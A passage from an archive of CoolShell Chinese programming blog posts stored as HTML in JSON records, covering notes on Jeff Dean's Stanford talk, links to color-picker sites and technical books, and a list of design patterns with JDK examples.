decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7992.html\"><img alt=\"C++的坑真的多吗？\" height=\"150\" src=\"../wp-content/uploads/2012/08/cpp_small-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7992.html\">C++的坑真的多吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5576.html\"><img alt=\"那些曾伴我走过编程之路的软件\" height=\"150\" src=\"../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3258.html\">C++的字符串格式化库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-11-22 Jeff Dean的Stanford演讲.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-3305\" height=\"175\" src=\"../wp-content/uploads/2010/11/jeff.jpg\" title=\"Jeff Dean\" width=\"135\"/>Google 公司的 <a href=\"http://research.google.com/people/jeff/\" target=\"_blank\"><strong>Jeff Dean</strong></a> 在Stanford大学做了一个非常 <a href=\"http://stanford-online.stanford.edu/courses/ee380/101110-ee380-300.asx\" target=\"_blank\"><strong>精彩的演讲</strong></a>（视频未墙）。我觉得我们每一个人都应该去看一看这个视频，当然，没有字幕，需要不错的听力，当然，我不可能全部翻译出来，因为我也不是完全能听懂，下面是一些相关的Notes，供你参夸，并欢迎牛人指证。</p>\n<ul>\n<li>比较了从1999年到2010年十年来的搜索量的变化。搜索量增加了 1000 倍，而搜索速度快了5 倍。1999年，一个网页的更新最多需要一个月到两个月，而今天，只需要几秒钟，足足加快了5w倍。</li>\n<li>一开始，这些大量的查询产生了大约30GB的I/O量。2004年，他们考虑过全部重写infrastructure。</li>\n<li>讨论了一些关于变量长度字节对齐的东西。</li>\n<li>今天的MapReduce 有400万个作业，处理将近1000PB的数据，130PB的中间数据，还有45PB的输出数据。（1PB =1024TB）关于 MapReduce （Google云计算的精髓） 的一些统计，见下图：</li>\n<li><img alt=\"\" class=\"aligncenter size-full wp-image-3302\" height=\"426\" src=\"../wp-content/uploads/2010/11/mapreducestats.jpg\" title=\"Mapreduce Stats\" width=\"575\"/></li>\n</ul>\n<p><span id=\"more-3301\"></span></p>\n<ul>\n<li>现在Jeff正在做一个叫Spanner的项目，这是一个跨多个数据中心的项目。在后来的Q&amp;A中，Jeff解释了现在的数据基本上都在各个数据中心中，数据在不同数据中心间的交换几乎不可能。所以，他们需要提供一些手动的方式或是一些工作或任务来达到数据共享。这其中还需要有一些策略配置，共同的namespace，事务处理，数据一致性等等工作。</li>\n</ul>\n<ul>\n<li>最后一个段落应该是最精彩的，Jeff讲了很多很有意思的东西，绝对让你受用一生：\n<ul>\n<li>一个大型的系统需要分解成N多的小services.（这和Amazon的很相似，一个页面的调用可能要经过几百个后台的services）</li>\n<li>代码的性能将会是想当的重要。Jeff给了一张叫“Numbers Everyone Should Know” 的slide，如下所示，我觉得太经典了，其中的东西，如果你看过我的那篇“<a href=\"https://coolshell.cn/articles/3236.html\" target=\"_blank\"><strong>给老婆普及计算机知识</strong></a>”，我想我不需要多解释了。（注：1 ns = 十亿分之一秒）</li>\n<li><img alt=\"\" class=\"aligncenter size-full wp-image-3303\" height=\"425\" src=\"../wp-content/uploads/2010/11/numberseveryoneshouldknow.png\" title=\"每一个程序员都应该知道的数字\" width=\"570\"/></li>\n<li>把相同的东西抽出来去建立一个系统，而不是把所有的事情交给所有的人。他说： “最后的那个功能可能会导致你怎么个系统超出了原有的复杂度”。</li>\n<li>不要无限制地设计可扩展性。5倍到50倍的扩展性设计足够了。如果你要达到100倍的，那应该是re-arch了。</li>\n<li>Jeff很喜欢有中心主结点的架构体系，他并不喜欢分布式系统。当然，中心主结点主要是用来做控制的，而不是做数据或是计算服务的。</li>\n<li>J在一些小机器上运行多个小服务，而不在一个大机器上运行一个mongo作业。越小的单元就越容易处理，修复，负载均衡和扩展。（化繁为简）</li>\n<li>…… ……</li>\n</ul>\n</li>\n</ul>\n<p>这是一个非常不错的演讲，很让人开阔眼界。</p>\n<p>最后，我想说说英文，很多程序员都很不喜欢英文，哎……怎么说呢？如果你今天对英文还很害怕的话，这只能怪我们的教育制度的失败。但如果你以此为借口的话，那只能怪你自己了。没有英文的能力，你的技术和认知仅限于中文圈中，而中文圈中基本上都是产商的文化。有人说，“功夫网”让我们的internet成为了局域网，而我想说，让我们成为局域网的不是那个墙，而是我们自己的世界观和英文能力。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17381.html\"><img alt=\"性能测试应该怎么做？\" height=\"150\" src=\"../wp-content/uploads/2016/07/PerfTest-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17381.html\">性能测试应该怎么做？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3301.html\">Jeff Dean的Stanford演讲</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-11-25 几个在线颜色选择器.html",
    "content": "<html><body><p>下面是一些在线的颜色配色方案，也许可以为你的Web配色方面提供一些参考。还有<a href=\"https://coolshell.cn/articles/3013.html\" rel=\"bookmark\" target=\"_blank\">一些非常有意思的杂项资源</a>你也可以去看看。</p>\n<ul>\n<li><a href=\"http://colorschemedesigner.com/\" target=\"_blank\">http://colorschemedesigner.com/</a></li>\n<li><a href=\"http://www.colourlovers.com/\" rel=\"nofollow\" target=\"_blank\">http://www.colourlovers.com/</a></li>\n<li><a href=\"http://kuler.adobe.com/\" rel=\"nofollow\" target=\"_blank\">http://kuler.adobe.com</a></li>\n<li><a href=\"http://opencodeproject.com/colorchooser/#\" rel=\"nofollow\" target=\"_blank\">http://opencodeproject.com/colorchooser/</a></li>\n<li><a href=\"http://www.yafla.com/yaflaColor/ColorRGBHSL.aspx\" rel=\"nofollow\" target=\"_blank\">http://www.yafla.com/yaflaColor/ColorRGBHSL.aspx</a></li>\n<li><a href=\"http://www.colorjack.com/sphere/\" rel=\"nofollow\" target=\"_blank\">http://www.colorjack.com/sphere/</a></li>\n<li><a href=\"http://easyrgb.com/\" rel=\"nofollow\" target=\"_blank\">http://easyrgb.com</a></li>\n</ul>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-3315\" height=\"325\" src=\"../wp-content/uploads/2010/11/Color-Scheme.jpg\" title=\"Color Scheme\" width=\"500\"/><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8398.html\"><img alt=\"xkcd 神图“Click and Drag”\" height=\"150\" src=\"../wp-content/uploads/2012/10/xkcd-sandwich-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8398.html\">xkcd 神图“Click and Drag”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1092.html\"><img alt=\"Top 200的全球开发者BLOG\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1092.html\">Top 200的全球开发者BLOG</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/585.html\"><img alt=\"5个不错的Flash的英文教程网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/585.html\">5个不错的Flash的英文教程网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5075.html\"><img alt=\"你确信你了解时间吗？\" height=\"150\" src=\"../wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5075.html\">你确信你了解时间吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17737.html\"><img alt=\"AWS 的 S3 故障回顾和思考\" height=\"150\" src=\"../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17737.html\">AWS 的 S3 故障回顾和思考</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3314.html\">几个在线颜色选择器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-11-25 几篇技术文章.html",
    "content": "<html><body><p><strong>The Art of Unix</strong></p>\n<p><a href=\"http://www.faqs.org/docs/artu/\" target=\"_blank\">http://www.faqs.org/docs/artu/</a></p>\n<p><strong>Perl for Impatient Developer</strong></p>\n<p><a href=\"http://blob.perl.org/books/impatient-perl/iperl.pdf\" target=\"_blank\">http://blob.perl.org/books/impatient-perl/iperl.pdf</a></p>\n<p><strong>Game Development with Javascript</strong></p>\n<p><a href=\"http://www.brighthub.com/hubfolio/matthew-casperson/blog/archive/2009/06/29/game-development-with-javascript-and-the-canvas-element.aspx\" target=\"_blank\">http://www.brighthub.com/hubfolio/matthew-casperson/blog/archive/2009/06/29/game-development-with-javascript-and-the-canvas-element.aspx</a></p>\n<p><strong>Introduction to x64 Assembly</strong></p>\n<p><a href=\"http://software.intel.com/en-us/articles/introduction-to-x64-assembly/\" target=\"_blank\">http://software.intel.com/en-us/articles/introduction-to-x64-assembly/</a></p>\n<p><strong>Database Fundamental</strong></p>\n<p><a href=\"https://www.ibm.com/developerworks/wikis/display/db2oncampus/FREE+ebook+-+Database+fundamentals\">https://www.ibm.com/developerworks/wikis/display/db2oncampus/FREE+ebook+-+Database+fundamentals</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2053.html\"><img alt=\"最为奇怪的程序语言的特性\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1850.html\"><img alt=\"Javascript程序员嘴最脏??\" height=\"150\" src=\"../wp-content/uploads/2009/11/programming_language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1850.html\">Javascript程序员嘴最脏??</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1532.html\"><img alt=\"到处都是Unix的胎记\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1042.html\"><img alt=\"Linux/Unix 新手和专家教程\" height=\"150\" src=\"../wp-content/uploads/2009/06/linux_tutorials-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1042.html\">Linux/Unix 新手和专家教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3311.html\">几篇技术文章</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-11-26 JDK里的设计模式.html",
    "content": "<html><body><p>下面是JDK中有关23个经典设计模式的示例，在stakeoverflow也有相应的讨论：<br/>\n<a href=\"http://stackoverflow.com/questions/1673841/examples-of-gof-design-patterns\" target=\"_blank\">http://stackoverflow.com/questions/1673841/examples-of-gof-design-patterns</a></p>\n<h4><strong><span style=\"text-decoration: underline;\">Structural（结构模式）</span></strong></h4>\n<div><strong>Adapter:</strong><br/>\n把一个接口或是类变成另外一种。\n<ul>\n<li>java.util.Arrays#asList()</li>\n<li>javax.swing.JTable(TableModel)</li>\n<li>java.io.InputStreamReader(InputStream)</li>\n<li>java.io.OutputStreamWriter(OutputStream)</li>\n<li>javax.xml.bind.annotation.adapters.XmlAdapter#marshal()</li>\n<li>javax.xml.bind.annotation.adapters.XmlAdapter#unmarshal()</li>\n</ul>\n<p><strong>Bridge:</strong><br/>\n把抽象和实现解藕，于是接口和实现可在完全独立开来。</p>\n<ul>\n<li>AWT (提供了抽象层映射于实际的操作系统)</li>\n<li>JDBC</li>\n</ul>\n<p><strong>Composite:</strong><br/>\n让使用者把单独的对象和组合对象混用。</p>\n<ul>\n<li>javax.swing.JComponent#add(Component)</li>\n<li>java.awt.Container#add(Component)</li>\n<li>java.util.Map#putAll(Map)</li>\n<li>java.util.List#addAll(Collection)</li>\n<li>java.util.Set#addAll(Collection)</li>\n</ul>\n</div>\n<p><span id=\"more-3320\"></span></p>\n<div>\n<p><strong>Decorator:</strong><br/>\n为一个对象动态的加上一系列的动作，而不需要因为这些动作的不同而产生大量的继承类。这个模式在JDK中几乎无处不在，所以，下面的列表只是一些典型的。</p>\n<ul>\n<li>java.io.BufferedInputStream(InputStream)</li>\n<li>java.io.DataInputStream(InputStream)</li>\n<li>java.io.BufferedOutputStream(OutputStream)</li>\n<li>java.util.zip.ZipOutputStream(OutputStream)</li>\n<li>java.util.Collections#checked[List|Map|Set|SortedSet|SortedMap]()</li>\n</ul>\n<p><strong>Facade:</strong><br/>\n用一个简单的接口包状一组组件，接口，抽象或是子系统。</p>\n<ul>\n<li>java.lang.Class</li>\n<li>javax.faces.webapp.FacesServlet</li>\n</ul>\n<p><strong>Flyweight:</strong><br/>\n有效率地存储大量的小的对象。</p>\n<ul>\n<li>java.lang.Integer#valueOf(int)</li>\n<li>java.lang.Boolean#valueOf(boolean)</li>\n<li>java.lang.Byte#valueOf(byte)</li>\n<li>java.lang.Character#valueOf(char)</li>\n</ul>\n<p><strong>Proxy:</strong><br/>\n用一个简单的对象来代替一个复杂的对象。</p>\n<ul>\n<li>java.lang.reflect.Proxy</li>\n<li>RMI</li>\n</ul>\n</div>\n<div>\n<h4><strong><span style=\"text-decoration: underline;\">Creational（创建模式）</span></strong></h4>\n</div>\n<div><strong> </strong><strong>Abstract factory:</strong><br/>\n创建一组有关联的对象实例。这个模式在JDK中也是相当的常见，还有很多的framework例如Spring。我们很容易找到这样的实例。\n<ul>\n<li>java.util.Calendar#getInstance()</li>\n<li>java.util.Arrays#asList()</li>\n<li>java.util.ResourceBundle#getBundle()</li>\n<li>java.sql.DriverManager#getConnection()</li>\n<li>java.sql.Connection#createStatement()</li>\n<li>java.sql.Statement#executeQuery()</li>\n<li>java.text.NumberFormat#getInstance()</li>\n<li>javax.xml.transform.TransformerFactory#newInstance()</li>\n</ul>\n<p><strong>Builder:</strong><br/>\n主要用来简化一个复杂的对象的创建。这个模式也可以用来实现一个 <a href=\"http://en.wikipedia.org/wiki/Fluent_interface\" target=\"_blank\">Fluent Interface</a>。</p>\n<ul>\n<li>java.lang.StringBuilder#append()</li>\n<li>java.lang.StringBuffer#append()</li>\n<li>java.sql.PreparedStatement</li>\n<li>javax.swing.GroupLayout.Group#addComponent()</li>\n</ul>\n<p><strong>Factory:</strong><br/>\n简单来说，按照需求返回一个类型的实例。</p>\n<ul>\n<li>java.lang.Proxy#newProxyInstance()</li>\n<li>java.lang.Object#toString()</li>\n<li>java.lang.Class#newInstance()</li>\n<li>java.lang.reflect.Array#newInstance()</li>\n<li>java.lang.reflect.Constructor#newInstance()</li>\n<li>java.lang.Boolean#valueOf(String)</li>\n<li>java.lang.Class#forName()</li>\n</ul>\n<p><strong>Prototype:</strong><br/>\n使用自己的实例创建另一个实例。有时候，创建一个实例然后再把已有实例的值拷贝过去，是一个很复杂的动作。所以，使用这个模式可以避免这样的复杂性。</p>\n<ul>\n<li>java.lang.Object#clone()</li>\n<li>java.lang.Cloneable</li>\n</ul>\n<p><strong>Singleton:</strong><br/>\n只允许一个实例。在 Effective Java中建议使用Emun.</p>\n<ul>\n<li>java.lang.Runtime#getRuntime()</li>\n<li>java.awt.Toolkit#getDefaultToolkit()</li>\n<li>java.awt.GraphicsEnvironment#getLocalGraphicsEnvironment()</li>\n<li>java.awt.Desktop#getDesktop()</li>\n</ul>\n<h4><strong><span style=\"text-decoration: underline;\">Behavioral(行为模式)</span></strong></h4>\n<p><strong>Chain of responsibility:</strong><br/>\n把一个对象在一个链接传递直到被处理。在这个链上的所有的对象有相同的接口（抽象类）但却有不同的实现。</p>\n<ul>\n<li>java.util.logging.Logger#log()</li>\n<li>javax.servlet.Filter#doFilter()</li>\n</ul>\n<p><strong>Command:</strong><br/>\n把一个或一些命令封装到一个对象中。</p>\n<ul>\n<li>java.lang.Runnable</li>\n<li>javax.swing.Action</li>\n</ul>\n<p><strong>Interpreter:</strong><br/>\n一个语法解释器的模式。</p>\n<ul>\n<li>java.util.Pattern</li>\n<li>java.text.Normalizer</li>\n<li>java.text.Format</li>\n</ul>\n<p><strong>Iterator:</strong><br/>\n提供一种一致的方法来顺序遍历一个容器中的所有元素。</p>\n<ul>\n<li>java.util.Iterator</li>\n<li>java.util.Enumeration</li>\n</ul>\n<p><strong>Mediator:</strong><br/>\n用来减少对象单的直接通讯的依赖关系。使用一个中间类来管理消息的方向。</p>\n<ul>\n<li>java.util.Timer</li>\n<li>java.util.concurrent.Executor#execute()</li>\n<li>java.util.concurrent.ExecutorService#submit()</li>\n<li>java.lang.reflect.Method#invoke()</li>\n</ul>\n<p><strong>Memento:</strong><br/>\n给一个对象的状态做一个快照。Date类在内部使用了一个long型来做这个快照。</p>\n<ul>\n<li>java.util.Date</li>\n<li>java.io.Serializable</li>\n</ul>\n<p><strong>Null Object:</strong><br/>\n这个模式用来解决如果一个Collection中没有元素的情况。</p>\n<ul>\n<li>java.util.Collections#emptyList()</li>\n<li>java.util.Collections#emptyMap()</li>\n<li>java.util.Collections#emptySet()</li>\n</ul>\n<p><strong>Observer:</strong><br/>\n允许一个对象向所有的侦听的对象广播自己的消息或事件。</p>\n<ul>\n<li>java.util.EventListener</li>\n<li>javax.servlet.http.HttpSessionBindingListener</li>\n<li>javax.servlet.http.HttpSessionAttributeListener</li>\n<li>javax.faces.event.PhaseListener</li>\n</ul>\n<p><strong>State:</strong><br/>\n这个模式允许你可以在运行时很容易地根据自身内部的状态改变对象的行为。</p>\n<ul>\n<li>java.util.Iterator</li>\n<li>javax.faces.lifecycle.LifeCycle#execute()</li>\n</ul>\n<p><strong>Strategy:</strong><br/>\n定义一组算法，并把其封装到一个对象中。然后在运行时，可以灵活的使用其中的一个算法。</p>\n<ul>\n<li>java.util.Comparator#compare()</li>\n<li>javax.servlet.http.HttpServlet</li>\n<li>javax.servlet.Filter#doFilter()</li>\n</ul>\n<p><strong>Template method:</strong><br/>\n允许子类重载部分父类而不需要完全重写。</p>\n<ul>\n<li>java.util.Collections#sort()</li>\n<li>java.io.InputStream#skip()</li>\n<li>java.io.InputStream#read()</li>\n<li>java.util.AbstractList#indexOf()</li>\n</ul>\n<p><strong>Visitor:</strong></p>\n<p>作用于某个对象群中各个对象的操作. 它可以使你在不改变这些对象本身的情况下,定义作用于这些对象的新操作.</p>\n<ul>\n<li>javax.lang.model.element.Element 和javax.lang.model.element.ElementVisitor</li>\n<li>javax.lang.model.type.TypeMirror 和javax.lang.model.type.TypeVisitor</li>\n</ul>\n<p>（全文完）</p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" 